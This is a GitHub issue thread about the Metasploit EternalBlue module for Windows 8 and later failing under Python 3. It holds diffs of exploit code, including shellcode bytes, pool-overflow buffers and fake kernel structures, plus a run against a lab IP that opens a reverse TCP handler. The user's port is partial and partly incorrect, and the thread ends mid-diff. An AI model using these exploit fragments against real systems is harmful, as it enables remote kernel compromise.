Metasploit-framework: ms17_010_eternalblue_win8 does not work with Python 3.

Created on 18 May 2020  路  7Comments  路  Source: rapid7/metasploit-framework

_Originally posted by @kal1s in https://github.com/rapid7/metasploit-framework/issues/13458#issuecomment-629835823_

Hi guys!

I'm having the same problem with the ms17_010_eternalblue_win8 exploit were in my Kali Linux is using Python3 on the shebangs but the exploit doesn't work.

I needed to break some things here to understand what happening and I think I have some advances.

Only changing the shebangs is not sufficient because a lot of syntaxes and programming language was changed from Python2 to Python3.

It needs to do some porting from Python2 to Python3, see: https://docs.python.org/3/howto/pyporting.html

I solve some problems but my lack of knowledge of the exploit is a blocked road to me continue to solve this problem.

I think all other exploits in Python2 that are going to Python3 will suffer the same problem that we are describing here.

In resume was needed to change a lot of string and byte concatenation where in Python3 is mandatory to cast the type to the type that is receiving the value, see: https://stackoverflow.com/questions/606191/convert-bytes-to-a-string.

So let me show to you guys what I did to have a _palliative and incomplete solution_.

My Versions

  • Kali Linux 2020.2 Fresh Install (Yesterday with all Updates)
# cat /etc/os-release 

PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
ID=kali
VERSION="2020.2"
VERSION_ID="2020.2"
VERSION_CODENAME="kali-rolling"
ID_LIKE=debian
ANSI_COLOR="1;31"
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
  • Metasploit from Kali Linux Repository
msf5 > version

Framework: 5.0.89-dev
Console  : 5.0.89-dev
  • Python2
$ python --version

Python 2.7.18
  • Python3
$ python3 --version

Python 3.8.3rc1

Steps to Reproduce the Python2 Version

  • Using shebangs #!/usr/bin/env python:
msf5 > use windows/smb/ms17_010_eternalblue_win8

[-] Failed to load module: exploit/windows/smb/ms17_010_eternalblue_win8

Matching Modules
================

   #  Name                                           Disclosure Date  Rank     Check  Description
   -  ----                                           ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+


[*] Using exploit/windows/smb/ms17_010_eternalblue_win8
  • Log Information on /root/.msf4/logs/framework.log:
[05/17/2020 15:10:33] [e(0)] core: /usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue_win8.rb failed to load due to the following error: Errno::ENOENT No such file or directory @ rb_sysopen - /usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue_win8.rb Call stack: /usr/share/metasploit-framework/lib/msf/core/modules/loader/directory.rb:77:in `initialize' /usr/share/metasploit-framework/lib/msf/core/modules/loader/directory.rb:77:in `open' /usr/share/metasploit-framework/lib/msf/core/modules/loader/directory.rb:77:in `read_module_content' /usr/share/metasploit-framework/lib/msf/core/modules/loader/base.rb:127:in `load_module' /usr/share/metasploit-framework/lib/msf/core/module_manager/cache.rb:91:in `block in load_cached_module' /usr/share/metasploit-framework/lib/msf/core/module_manager/cache.rb:86:in `each' /usr/share/metasploit-framework/lib/msf/core/module_manager/cache.rb:86:in `load_cached_module' /usr/share/metasploit-framework/lib/msf/core/module_set.rb:45:in `create' /usr/share/metasploit-framework/lib/msf/core/module_manager.rb:99:in `block in create' /usr/share/metasploit-framework/lib/msf/core/module_manager.rb:94:in `each' /usr/share/metasploit-framework/lib/msf/core/module_manager.rb:94:in `create' /usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/modules.rb:697:in `cmd_use' /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:523:in `run_command' /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:474:in `block in run_single' /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:468:in `each' /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:468:in `run_single' /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:158:in `run' /usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start' /usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start' /usr/bin/msfconsole:23:in `<main>'
[05/17/2020 15:10:33] [e(0)] core: Unexpected output running /usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py:
Traceback (most recent call last):
  File "/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py", line 15, in <module>
    from metasploit import module
  File "/usr/share/metasploit-framework/lib/msf/core/modules/external/python/metasploit/module.py", line 6, in <module>
    from metasploit import cli
  File "/usr/share/metasploit-framework/lib/msf/core/modules/external/python/metasploit/cli.py", line 10
    print(*args, file=sys.stderr, **kwargs)
          ^
SyntaxError: invalid syntax

[05/17/2020 15:10:33] [e(0)] core: Unable to load module /usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py, unknown module type
[05/17/2020 15:10:33] [e(0)] core: /usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue_win8.rb failed to load due to the following error: Errno::ENOENT No such file or directory @ rb_sysopen - /usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue_win8.rb Call stack: /usr/share/metasploit-framework/lib/msf/core/modules/loader/directory.rb:77:in `initialize' /usr/share/metasploit-framework/lib/msf/core/modules/loader/directory.rb:77:in `open' /usr/share/metasploit-framework/lib/msf/core/modules/loader/directory.rb:77:in `read_module_content' /usr/share/metasploit-framework/lib/msf/core/modules/loader/base.rb:127:in `load_module' /usr/share/metasploit-framework/lib/msf/core/module_manager/cache.rb:91:in `block in load_cached_module' /usr/share/metasploit-framework/lib/msf/core/module_manager/cache.rb:86:in `each' /usr/share/metasploit-framework/lib/msf/core/module_manager/cache.rb:86:in `load_cached_module' /usr/share/metasploit-framework/lib/msf/core/module_set.rb:45:in `create' /usr/share/metasploit-framework/lib/msf/core/module_manager.rb:90:in `create' /usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/modules.rb:697:in `cmd_use' /usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/modules.rb:450:in `cmd_search' /usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/modules.rb:701:in `cmd_use' /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:523:in `run_command' /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:474:in `block in run_single' /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:468:in `each' /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:468:in `run_single' /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:158:in `run' /usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start' /usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start' /usr/bin/msfconsole:23:in `<main>'
[05/17/2020 15:10:33] [e(0)] core: Unexpected output running /usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py:
Traceback (most recent call last):
  File "/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py", line 15, in <module>
    from metasploit import module
  File "/usr/share/metasploit-framework/lib/msf/core/modules/external/python/metasploit/module.py", line 6, in <module>
    from metasploit import cli
  File "/usr/share/metasploit-framework/lib/msf/core/modules/external/python/metasploit/cli.py", line 10
    print(*args, file=sys.stderr, **kwargs)
          ^
SyntaxError: invalid syntax

[05/17/2020 15:10:33] [e(0)] core: Unable to load module /usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py, unknown module type

Steps to Reproduce the Python3 Version

  • Using shebangs #!/usr/bin/env python3:
msf5 > info exploit/windows/smb/ms17_010_eternalblue_win8

[-] Invalid module: exploit/windows/smb/ms17_010_eternalblue_win8
  • Log Information on /root/.msf4/logs/framework.log:
[05/17/2020 13:14:40] [e(0)] core: /usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue_win8.rb failed to load due to the following error: Errno::ENOENT No such file or directory @ rb_sysopen - /usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue_win8.rb Call stack: /usr/share/metasploit-framework/lib/msf/core/modules/loader/directory.rb:77:in `initialize' /usr/share/metasploit-framework/lib/msf/core/modules/loader/directory.rb:77:in `open' /usr/share/metasploit-framework/lib/msf/core/modules/loader/directory.rb:77:in `read_module_content' /usr/share/metasploit-framework/lib/msf/core/modules/loader/base.rb:127:in `load_module' /usr/share/metasploit-framework/lib/msf/core/module_manager/cache.rb:91:in `block in load_cached_module' /usr/share/metasploit-framework/lib/msf/core/module_manager/cache.rb:86:in `each' /usr/share/metasploit-framework/lib/msf/core/module_manager/cache.rb:86:in `load_cached_module' /usr/share/metasploit-framework/lib/msf/core/module_set.rb:45:in `create' /usr/share/metasploit-framework/lib/msf/core/module_manager.rb:90:in `create' /usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/modules.rb:162:in `block in cmd_info' /usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/modules.rb:161:in `each' /usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/modules.rb:161:in `cmd_info' /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:523:in `run_command' /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:474:in `block in run_single' /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:468:in `each' /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:468:in `run_single' /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:158:in `run' /usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start' /usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start' /usr/bin/msfconsole:23:in `<main>'
[05/17/2020 13:14:40] [e(0)] core: Unexpected output running /usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py:
Traceback (most recent call last):
  File "/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py", line 178, in <module>
    ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x260  # with these fea, ntfea size is 0x1c80
TypeError: can't concat str to bytes

[05/17/2020 13:14:40] [e(0)] core: Unable to load module /usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py, unknown module type

Some Fix on Python3 Version that Allow me to Move On

  • I followed each error described on framework.log to make each change on ms17_010_eternalblue_win8.py.
  • The Python3 Script with these changes is at the end of this Post.
$ diff ms17_010_eternalblue_win8.py ms17_010_eternalblue_win8.py.kal1s

142,143c142,143
<     '\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xf4\x00\x00\x00\x3d' + proc_hash +
<     '\x74\x10\x3d' + proc_hash + '\x74\x09\x48\x8b\x0c' 
---
>     '\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xf4\x00\x00\x00\x3d' + str(proc_hash) +
>     '\x74\x10\x3d' + str(proc_hash) + '\x74\x09\x48\x8b\x0c'
178,180c178,180
< ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x260  # with these fea, ntfea size is 0x1c80
< ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'*0x735d  # 0x8fe8 - 0x1c80 - 0xc = 0x735c
< ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'*0x8148  # overflow to SRVNET_BUFFER_HDR
---
> ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00'.encode())*0x260  # with these fea, ntfea size is 0x1c80
> ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'.encode()*0x735d  # 0x8fe8 - 0x1c80 - 0xc = 0x735c
> ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'.encode()*0x8148  # overflow to SRVNET_BUFFER_HDR
272c272
< fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
---
> fakeSrvNetBufferX64Nx += str(pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR))
275,277c275,277
< fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
< fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR)  # _, _, pointer to fake struct
< fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
---
> fakeSrvNetBufferX64Nx += str(pack('<QQ', 0, 0))
> fakeSrvNetBufferX64Nx += str(pack('<QQ', 0, TARGET_HAL_HEAP_ADDR))  # _, _, pointer to fake struct
> fakeSrvNetBufferX64Nx += str(pack('<QQ', 0, 0))
280,281c280,281
< fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0)  # MDL.Next, MDL.Size, MDL.MdlFlags
< fakeSrvNetBufferX64Nx += pack('<QQ', 0, PTE_ADDR+7-0x7f)  # MDL.Process, MDL.MappedSystemVa
---
> fakeSrvNetBufferX64Nx += str(pack('<QHHI', 0, 0x60, 0x1004, 0))  # MDL.Next, MDL.Size, MDL.MdlFlags
> fakeSrvNetBufferX64Nx += str(pack('<QQ', 0, PTE_ADDR+7-0x7f))  # MDL.Process, MDL.MappedSystemVa
285c285
< feaListNx += pack('<BBH', 0, 0, len(fakeSrvNetBufferX64Nx)-1) + fakeSrvNetBufferX64Nx # -1 because first '\x00' is for name
---
> feaListNx += pack('<BBH', 0, 0, len(fakeSrvNetBufferX64Nx)-1) + fakeSrvNetBufferX64Nx.encode() # -1 because first '\x00' is for name
294,295c294,295
<     fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)  # flag, _, _, pNetRawBuffer
<     fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0)  # _, thisNonPagedPoolSize, _
---
>     fakeSrvNetBufferX64 += str(pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR))  # flag, _, _, pNetRawBuffer
>     fakeSrvNetBufferX64 += str(pack('<QII', 0, 0x82e8, 0))  # _, thisNonPagedPoolSize, _
297,299c297,299
<     fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize)  # offset 0x40
<     fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR)  # pmdl2, pointer to fake struct
<     fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
---
>     fakeSrvNetBufferX64 += str(pack('<QQ', 0, totalRecvSize))  # offset 0x40
>     fakeSrvNetBufferX64 += str(pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR))  # pmdl2, pointer to fake struct
>     fakeSrvNetBufferX64 += str(pack('<QQ', 0, 0))
302,303c302,303
<     fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0)  # MDL.Next, MDL.Size, MDL.MdlFlags
<     fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80)  # MDL.Process, MDL.MappedSystemVa
---
>     fakeSrvNetBufferX64 += str(pack('<QHHI', 0, 0x60, 0x1004, 0))  # MDL.Next, MDL.Size, MDL.MdlFlags
>     fakeSrvNetBufferX64 += str(pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80))  # MDL.Process, MDL.MappedSystemVa
310c310
<     feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuf)-1) + fakeSrvNetBuf # -1 because first '\x00' is for name
---
>     feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuf)-1) + fakeSrvNetBuf.encode() # -1 because first '\x00' is for name
328,329c328,329
< fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58)  # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
< fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0)  # offset 0x60
---
> fake_recv_struct += str(pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58))  # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
> fake_recv_struct += str(pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0))  # offset 0x60
331,333c331,333
< fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0)  # offset 0x110: fn_ptr array
< fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0)  # set arg1 to -0x8150
< fake_recv_struct += pack('<QII', 0, 0, 3)  # offset 0x130
---
> fake_recv_struct += str(pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0))  # offset 0x110: fn_ptr array
> fake_recv_struct += str(pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0))  # set arg1 to -0x8150
> fake_recv_struct += str(pack('<QII', 0, 0, 3))  # offset 0x130
335c335
< fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180)  # shellcode address
---
> fake_recv_struct += str(pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180))  # shellcode address
682c682
<     sc = eternalblue_kshellcode_x64(args['ProcessName']) + b64decode(args['payload_encoded'])
---
>     sc = eternalblue_kshellcode_x64(args['ProcessName']) + str(b64decode(args['payload_encoded']))
  • Now I can see the information about the exploit with no errors on framework.log:
msf5 > info exploit/windows/smb/ms17_010_eternalblue_win8

       Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
     Module: exploit/windows/smb/ms17_010_eternalblue_win8
   Platform: Windows
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2017-03-14

Provided by:
  Equation Group
  Shadow Brokers
  sleepya
  wvu <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   win x64

Check supported:
  No

Basic options:
  Name              Current Setting  Required  Description
  ----              ---------------  --------  -----------
  GroomAllocations  13               yes       Initial number of times to groom the kernel pool.
  ProcessName       spoolsv.exe      no        Process to inject payload into.
  RHOST                              yes       Target server
  RPORT             445              yes       Target server port
  SMBPass                            no        (Optional) The password for the specified username
  SMBUser                            no        (Optional) The username to authenticate as

Payload information:

Description:
  EternalBlue exploit for Windows 8, Windows 10, and 2012 by sleepya 
  The exploit might FAIL and CRASH a target system (depended on what 
  is overwritten) The exploit support only x64 target Tested on: - 
  Windows 2012 R2 x64 - Windows 8.1 x64 - Windows 10 Pro Build 10240 
  x64 - Windows 10 Enterprise Evaluation Build 10586 x64 Default 
  Windows 8 and later installation without additional service info: - 
  anonymous is not allowed to access any share (including IPC$) - More 
  info: 
https://support.microsoft.c  om/en-us/help/3034016/ipc-share-and-null-session-behavior-in-windows 
  - tcp port 445 is filtered by firewall Reference: - 
  http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ - 
  "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" 
  https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit 
  Exploit info: - If you do not know how exploit for Windows 7/2008 
  work. Please read my exploit for Windows 7/2008 at 
  https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a 
  because the trick for exploit is almost the same - The exploit use 
  heap of HAL for placing fake struct (address 0xffffffffffd00e00) and 
  shellcode (address 0xffffffffffd01000). On Windows 8 and Wndows 
  2012, the NX bit is set on this memory page. Need to disable it 
  before controlling RIP. - The exploit is likely to crash a target 
  when it failed - The overflow is happened on nonpaged pool so we 
  need to massage target nonpaged pool. - If exploit failed but target 
  does not crash, try increasing 'GroomAllocations' value (at least 5) 
  - See the code and comment for exploit detail. Disable NX method: - 
  The idea is from "Bypassing Windows 10 kernel ASLR (remote) by 
  Stefan Le Berre" (see link in reference) - The exploit is also the 
  same but we need to trigger bug twice - First trigger, set 
  MDL.MappedSystemVa to target pte address - Write '\x00' to disable 
  the NX flag - Second trigger, do the same as Windows 7 exploit - 
  From my test, if exploit disable NX successfully, I always get code 
  execution

References:
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
  https://cvedetails.com/cve/CVE-2017-0143/
  https://cvedetails.com/cve/CVE-2017-0144/
  https://cvedetails.com/cve/CVE-2017-0145/
  https://cvedetails.com/cve/CVE-2017-0146/
  https://cvedetails.com/cve/CVE-2017-0147/
  https://cvedetails.com/cve/CVE-2017-0148/
  https://www.exploit-db.com/exploits/42030
  https://github.com/worawit/MS17-010

Also known as:
  ETERNALBLUE
  • And now I can use the exploit:

msf5 > use exploit/windows/smb/ms17_010_eternalblue_win8

  • Setting the target:
msf5 exploit(windows/smb/ms17_010_eternalblue_win8) > set rhost 172.16.1.60

rhost => 172.16.1.60
  • Looking the options:
msf5 exploit(windows/smb/ms17_010_eternalblue_win8) > options

Module options (exploit/windows/smb/ms17_010_eternalblue_win8):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   GroomAllocations  13               yes       Initial number of times to groom the kernel pool.
   ProcessName       spoolsv.exe      no        Process to inject payload into.
   RHOST             172.16.1.60      yes       Target server
   RPORT             445              yes       Target server port
   SMBPass                            no        (Optional) The password for the specified username
   SMBUser                            no        (Optional) The username to authenticate as


Exploit target:

   Id  Name
   --  ----
   0   win x64
  • Executing the exploit:
msf5 exploit(windows/smb/ms17_010_eternalblue_win8) > run

[*] Started reverse TCP handler on 172.20.1.119:4444 
[*] shellcode size: 1960
[*] numGroomConn: 13
[-] Missing required parameter 'digestmod'.
[-] Exploit aborted due to failure: unknown: Module exited abnormally
[*] Exploit completed, but no session was created.
  • No errors and warnings on framework.log and looking that the exploit is reaching the target:
# tcpdump -i tun0 -n host 172.16.1.60

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
13:36:42.046252 IP 172.20.1.119.51008 > 172.16.1.60.445: Flags [S], seq 568799431, win 64240, options [mss 1460,sackOK,TS val 296807334 ecr 0,nop,wscale 7], length 0
13:36:42.294913 IP 172.16.1.60.445 > 172.20.1.119.51008: Flags [S.], seq 3814031721, ack 568799432, win 8192, options [mss 1358,nop,wscale 8,sackOK,TS val 40782235 ecr 296807334], length 0
13:36:42.294998 IP 172.20.1.119.51008 > 172.16.1.60.445: Flags [.], ack 1, win 502, options [nop,nop,TS val 296807583 ecr 40782235], length 0
13:36:42.296648 IP 172.20.1.119.51008 > 172.16.1.60.445: Flags [P.], seq 1:52, ack 1, win 502, options [nop,nop,TS val 296807585 ecr 40782235], length 51
13:36:42.602182 IP 172.16.1.60.445 > 172.20.1.119.51008: Flags [.], ack 52, win 257, options [nop,nop,TS val 40782261 ecr 296807585], length 0
13:36:42.602259 IP 172.16.1.60.445 > 172.20.1.119.51008: Flags [P.], seq 1:210, ack 52, win 257, options [nop,nop,TS val 40782261 ecr 296807585], length 209
13:36:42.602284 IP 172.20.1.119.51008 > 172.16.1.60.445: Flags [.], ack 210, win 501, options [nop,nop,TS val 296807890 ecr 40782261], length 0
13:36:42.610347 IP 172.20.1.119.51008 > 172.16.1.60.445: Flags [P.], seq 52:192, ack 210, win 501, options [nop,nop,TS val 296807898 ecr 40782261], length 140
13:36:42.909451 IP 172.16.1.60.445 > 172.20.1.119.51008: Flags [P.], seq 210:605, ack 192, win 257, options [nop,nop,TS val 40782291 ecr 296807898], length 395
13:36:42.909510 IP 172.20.1.119.51008 > 172.16.1.60.445: Flags [.], ack 605, win 501, options [nop,nop,TS val 296808198 ecr 40782291], length 0
13:36:42.919345 IP 172.20.1.119.51008 > 172.16.1.60.445: Flags [F.], seq 192, ack 605, win 501, options [nop,nop,TS val 296808208 ecr 40782291], length 0
13:36:43.216441 IP 172.16.1.60.445 > 172.20.1.119.51008: Flags [.], ack 193, win 257, options [nop,nop,TS val 40782322 ecr 296808208], length 0
13:36:43.216568 IP 172.16.1.60.445 > 172.20.1.119.51008: Flags [R.], seq 605, ack 193, win 0, length 0

Another Error: "Missing required parameter 'digestmod'"

  • The exploit still doesn't work and now I'm having this error when I'm trying to exploit a Windows with this vulnerability.

  • I think it is some module that changed the behavior from Python2 to Python3, like something that was optional in Python2 now is mandatory to specify in Python3.

  • This error only showing on msfconsole and not in framework.log.

  • I don't know so deep this exploit to solve that error but I'll continue trying to.

_I did my best and I hope I've helped in some way!_

@kal1s

ms17_010_eternalblue_win8.py.kal1s.zip

_Originally posted by @kal1s in https://github.com/rapid7/metasploit-framework/issues/13458#issuecomment-629835823_

bug confirmed external modules
Source
picture acammack-r7

Most helpful comment

That's a known issue with with the module under Python 2. Under some circumstances something about the SMB data and impacket disagree and a field that was assumed to be ascii is really a binary. I tried looking at it once, but it can be hard to reproduce on a VM on demand and once I could, it turned out to be a large rabbithole I didn't have time to go down. I _think_ a full python 3 conversion could coincidentally fix it by making sure everything is properly bytes.

picture acammack-r7 on 20 May 2020
👍2

All 7 comments

The first issue (with the plain python shebang) looks to be due to using python 2 and having the first line of cli.py that pulls in the forwards compatibility print function removed somehow. Those errors do not occur in Python 3 or in Python 2.7 or 2.6 with the file as is in the in the repo.

I have confirmed the packing issues in all the Python 3 versions I have on hand, Python 3.8.2, 3.7.7, and 3.6.9. Perhaps @busterb can shed some light since he landed https://github.com/rapid7/metasploit-framework/pull/12524 where it was supposed to be converted.

acammack-r7 picture acammack-r7 on 18 May 2020
👀1 👍1

@acammack-r7
To be honest, I am still a beginner and learning. So I have a question.
Is it a bug that will be fixed? or Is there a solution?

hothefa1998 picture hothefa1998 on 19 May 2020

Welcome, @hothefa1998! I would expect that this will get fixed, or at least that there will be another way to run MS17-010 against Windows 8 & 10 era targets. The code worked well enough under Python 2 that we know it is possible to get working successfully again, it's a matter of finding where the behavior under the newer Pythons is from the old ones and then changing it back (likely with gratuitous use of b"..." literals). Saying a fix is right around the corner is always risky, though, especially in open source software where there's always more work to be done than workers and priorities can change quickly.

acammack-r7 picture acammack-r7 on 19 May 2020

@kal1s, looking at your output a little more, I have a couple of observations:

  1. Using diff -u makes diff output much easier to read for humans (and is the format git uses)
  2. I think we'll want to go the other direction for strings and bytes, with everything intended to go over the network needing to be bytes or b'...' literals, which was the default way 2.x treats strings.
acammack-r7 picture acammack-r7 on 19 May 2020

@kal1s, looking at your output a little more, I have a couple of observations:

  1. Using diff -u makes diff output much easier to read for humans (and is the format git uses)
  2. I think we'll want to go the other direction for strings and bytes, with everything intended to go over the network needing to be bytes or b'...' literals, which was the default way 2.x treats strings.

Hi @acammack-r7 , following the diff -u result and make sense of what you are saying about the direction of the casting.

  • Results of diff -u:

$ diff -u ms17_010_eternalblue_win8.py ms17_010_eternalblue_win8.py.kal1s

--- ms17_010_eternalblue_win8.py        2020-05-17 13:22:54.547224850 -0300
+++ ms17_010_eternalblue_win8.py.kal1s  2020-05-16 16:32:38.850346127 -0300
@@ -139,8 +139,8 @@
     '\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xc6\x00\x00'
     '\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6'
     '\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xbb\x00\x00\x00\x8b\x78'
-    '\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xf4\x00\x00\x00\x3d' + proc_hash +
-    '\x74\x10\x3d' + proc_hash + '\x74\x09\x48\x8b\x0c' 
+    '\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xf4\x00\x00\x00\x3d' + str(proc_hash) +
+    '\x74\x10\x3d' + str(proc_hash) + '\x74\x09\x48\x8b\x0c'
     '\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x84\x00\x00'
     '\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b'
     '\x08\x48\x39\xde\x74\xf7\x4a\x8d\x14\x33\xbf\x3e\x4c\xf8\xce'
@@ -175,9 +175,9 @@
 # because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
 NTFEA_SIZE = 0x9000

-ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x260  # with these fea, ntfea size is 0x1c80
-ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'*0x735d  # 0x8fe8 - 0x1c80 - 0xc = 0x735c
-ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'*0x8148  # overflow to SRVNET_BUFFER_HDR
+ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00'.encode())*0x260  # with these fea, ntfea size is 0x1c80
+ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'.encode()*0x735d  # 0x8fe8 - 0x1c80 - 0xc = 0x735c
+ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'.encode()*0x8148  # overflow to SRVNET_BUFFER_HDR

 '''
 Reverse from srvnet.sys (Win2012 R2 x64)
@@ -269,20 +269,20 @@
 SHELLCODE_PAGE_ADDR = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
 PTE_ADDR = 0xfffff6ffffffe800 + 8*((SHELLCODE_PAGE_ADDR-0xffffffffffd00000) >> 12)
 fakeSrvNetBufferX64Nx = '\x00'*16
-fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
+fakeSrvNetBufferX64Nx += str(pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR))
 fakeSrvNetBufferX64Nx += '\x00'*16
 fakeSrvNetBufferX64Nx += '\x00'*16
-fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
-fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR)  # _, _, pointer to fake struct
-fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
+fakeSrvNetBufferX64Nx += str(pack('<QQ', 0, 0))
